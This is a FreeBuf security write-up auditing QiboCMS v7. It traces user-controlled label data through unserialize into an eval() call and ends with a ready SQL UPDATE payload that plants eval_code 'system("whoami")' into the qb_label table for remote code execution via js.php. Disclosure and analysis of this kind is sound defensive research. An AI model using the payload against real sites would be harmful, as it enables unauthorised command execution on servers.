freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

齐博CMS_v7-Rce漏洞
2023-02-01 11:43:07
所属地 广东省

齐博CMS_v7-Rce漏洞

前言

一直都是挖一下小cms的历史漏洞,然后突然就想挖一个原创的漏洞,就去齐博的官网下载了他们的cms,然后全局搜了一下eval,发现有一个可疑的利用点,就开始分析。

代码审计

漏洞点

label_set_rs.php

lobal $db,$pre,$timestamp,$webdb,$TB_url;
	//分类的话,对于分表的情况,要特别处理,不支持其它频道调用,会出错
	if($format[SYS]=='fenlei'&&!$rs[posttime]){
		global $Fid_db;
		$_erp=$Fid_db[tableid][$rs[fid]];		
		$rs=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content$_erp WHERE id='$rs[id]' ");
	}

	//读取自定义字段的表,方便调用,如果声明了noReadMid就不要读了
	if($format[wninfo]&&$rs[mid]&&!$format[noReadMid]){
		$_rss=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content_{$rs[mid]} WHERE id='$rs[id]' ");
		$_rss && $rs=$rs+$_rss;
	//文章要读取自定义字段的表,方便调用
	}elseif($format[SYS]=='artcile'&&$rs[mid]){
		$_rss=$db->get_one("SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid='$rs[aid]' ");
		$_rss && $rs=$rs+$_rss;
	}

	//扩展接口,少用
	if($format[eval_code]){

		eval($format[eval_code]);

	}

我们发现这里的$format是我们传入的参数,而且是一个数组,当$formati[eval_code]有值的时候,就会执行。我们找一下哪里调用了这个函数,发现在Get_Title函数中调用了这个函数。

function Get_Title($format){
	global $db,$webdb,$pre,$ModuleDB;
	
	//CMS万能文章专题里的文章

	if($format['SYS']=='CMS'&&$format['ctype']=='special'){
		return CMS_special($format);
	}


	//方便下面得到URL的真实列表地址
	$page=1;
	
	if(strstr($format[sql],'$GLOBALS[')){
		eval("\$format[sql]=\"$format[sql]\";");
	}
	if(strstr($format[sql2],'$GLOBALS[')){
		eval("\$format[sql2]=\"$format[sql2]\";");
	}
	//此处屏障报错,主要是处理不同版本之间存在的一些差异性问题
	$query=$db->query("$format[sql]",'','0');
	if(!$query){
		return ;
	}
 
	//辅助模板存在,并且辅助SQL存在的话,要读数据库
	if($format[tplpart_2code]&&$format[sql2]){
		$query2=$db->query($format[sql2],'','0');
		$rs2=$db->fetch_array($query2);
		$rs2=label_set_rs($format,$rs2);
	}
}

这里的$format[SYS]不能为CMS且$format[sql]为能准确执行的sql语句,而且$format[sql2]和$format[tplpart_2code]都必须为true然后就能进入label_set_rs然后在js.php里调用了Get_Title。

js.php

<?php
error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$id)){
	die("document.write('ID不存在');");
}
$FileName=dirname(__FILE__)."/../cache/js/";

$FileName.="{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_js"]){

	$webdb["cache_time_js"]=3;
}
var_dump(!$webdb["cache_time_js"]);
echo (time()-filemtime($FileName));


if( (time()-filemtime($FileName))<($webdb["cache_time_js"]*60) ){
	@include($FileName);
	$show=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($show));
	if($iframeID){	//框架方式不会拖慢主页面打开速度,推荐
		//处理跨域问题
		if($webdb[cookieDomain]){
			echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";
		}
		echo "<SCRIPT LANGUAGE=\"JavaScript\">
		parent.document.getElementById('$iframeID').innerHTML='$show';
		</SCRIPT>";
	}else{			//JS式会拖慢主页面打开速度,不推荐
		echo "document.write('$show');";
	}
	exit;
}

require(dirname(__FILE__)."/"."global.php");
require_once(ROOT_PATH."inc/label_funcation.php");

	$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");

	while( $rs=$db->fetch_array($query) ){
		//读数据库的标签
		if( $rs[typesystem] )
		{
            unserialize($rs['code']);
			$_array=unserialize($rs[code]);
            var_dump($_array);
			$value=($rs[type]=='special')?Get_sp($_array):Get_Title($_array);
			if(strstr($value,"(/mv)")){
				$value=get_label_mv($value);
			}
			if($_array[c_rolltype])
			{
				$value="<marquee direction='$_array[c_rolltype]' scrolldelay='1' scrollamount='1' onmouseout='if(document.all!=null){this.start()}' onmouseover='if(document.all!=null){this.stop()}' height='$_array[roll_height]'>$value</marquee>";
			}
		}

首先这里的$id是通过$_GET['id']传入的且必须为数字,id与sql语句进行拼接,当查询出数据后就会进入循环,然后判断$rs[tyoesystem]是否为true,如果为true就会进入循环,然后对$rs[code]进行反序列化,然后这里的$rs[type]不能为special然后就会把数组传入Get_Title。

利用过程

登入后台

图片.png
在这里我们可以上传一个sql文件,创建一个1.sql,写入以下语句。

update  qb_label set code='a:6:{s:13:"tplpart_1code";s:4:"test";s:13:"tplpart_2code";s:4:"test";s:3:"SYS";s:7:"artcile";s:9:"eval_code";s:17:"system("whoami");";s:3:"sql";s:24:"select * from qb_article";s:4:"sql2";b:1;}',typesystem=1,type='code' where lid=741;

然后上传,这里的lid可以爆破一下。
然后访问
图片.png
利用成功。

# 漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录